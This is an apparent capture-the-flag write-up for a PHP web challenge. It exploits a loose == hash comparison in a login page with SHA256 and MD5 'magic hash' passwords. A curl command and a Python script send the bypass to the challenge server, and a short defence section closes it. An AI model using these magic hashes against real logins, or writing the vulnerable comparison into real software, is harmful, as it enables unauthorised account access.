Цирковой трюк (Circus Trick)
Цирковой трюк (Circus Trick)
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: Loose comparison bypass (== vs ===), PHP Type Juggling (Magic Hash Attack), SHA256 magic hash collision, Source code analysis
Summary
Walkthrough of the CUSTOM Web Цирковой трюк (Circus Trick). Task: Log in as administrator with PHP type juggling vulnerability. Solution: Used magic hash (34250003024812) that produces SHA256 starting with 0e, exploiting loose comparison (==) to bypass authent
Description
"Я что-то похожее в цирке видел, но там вроде для этого использовались апельсины или шары..." (I saw something similar in a circus, but they used oranges or balls for that...)
Goal: Log in as administrator and get the flag.
Analysis
Hint in the Name
The task name "Цирковой трюк" (Circus Trick) + mention of "juggling oranges or balls" = Type Juggling — a great wordplay!
Source Code Analysis
Source code is provided in the circus_trick_src.zip archive. The key vulnerability is in login.php (line 33):
php read-only • copy allowedif (hash('sha256', $password) == $row['password_hash']) { $success = true; if ($login === 'administrator') { $flag = file_get_contents('/opt/flag.txt'); } }
Problem: Loose comparison == is used instead of strict === when comparing password hashes.
PHP Type Juggling
In PHP, when using ==, strings starting with 0e and containing only digits after are interpreted as scientific notation:
php read-only • copy allowed"0e123456789" == "0e987654321" // true! // Because: 0 × 10^123456789 == 0 × 10^987654321 == 0
Magic Hash for SHA256
The administrator's password hash in the database is a "magic hash" (starts with 0e, followed by only digits).
Known password that produces a magic SHA256 hash:
- Password:
34250003024812 - SHA256:
0e46289032038065916139621039085883773413820991920706299695051332
When comparing:
php read-only • copy allowedhash('sha256', '34250003024812') == '0e...(admin_hash)...' // Both are interpreted as 0, so 0 == 0 → true
Solution
Exploitation
bash read-only • copy allowedcurl -X POST http://62.173.140.174:16064/login.php \ -d "login=administrator&password=34250003024812"
Alternative via Python
python read-only • copy allowedimport requests url = "http://62.173.140.174:16064/login.php" data = { "login": "administrator", "password": "34250003024812" } response = requests.post(url, data=data) print(response.text)
Known Magic Hashes
SHA256
| Password | SHA256 Hash |
|---|---|
| 34250003024812 | 0e462890320380659161396210390858... |
MD5
| Password | MD5 Hash |
|---|---|
| 240610708 | 0e462097431906509019562988736854 |
| QNKCDZO | 0e830400451993494058024219903391 |
| |
Double MD5
| Password | md5(md5(password)) |
|---|---|
| 179122048 | 0e983430... |
Defense
php read-only • copy allowed// WRONG (vulnerable to Type Juggling) if (hash('sha256', $password) == $row['password_hash']) // CORRECT (strict comparison) if (hash('sha256', $password) === $row['password_hash']) // EVEN BETTER (timing-safe comparison) if (hash_equals($row['password_hash'], hash('sha256', $password)))
Resources
- PHP Type Juggling - OWASP
- Magic Hashes Collection - spaze/hashes
- PHP Comparison Tables
Key Takeaways / Lessons
- Mastering Loose comparison bypass (== vs ===), PHP Type Juggling (Magic Hash Attack), SHA256 magic hash collision, Source code analysis was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-01-04 • CUSTOM • Цирковой трюк (Circus Trick) • Difficulty: Medium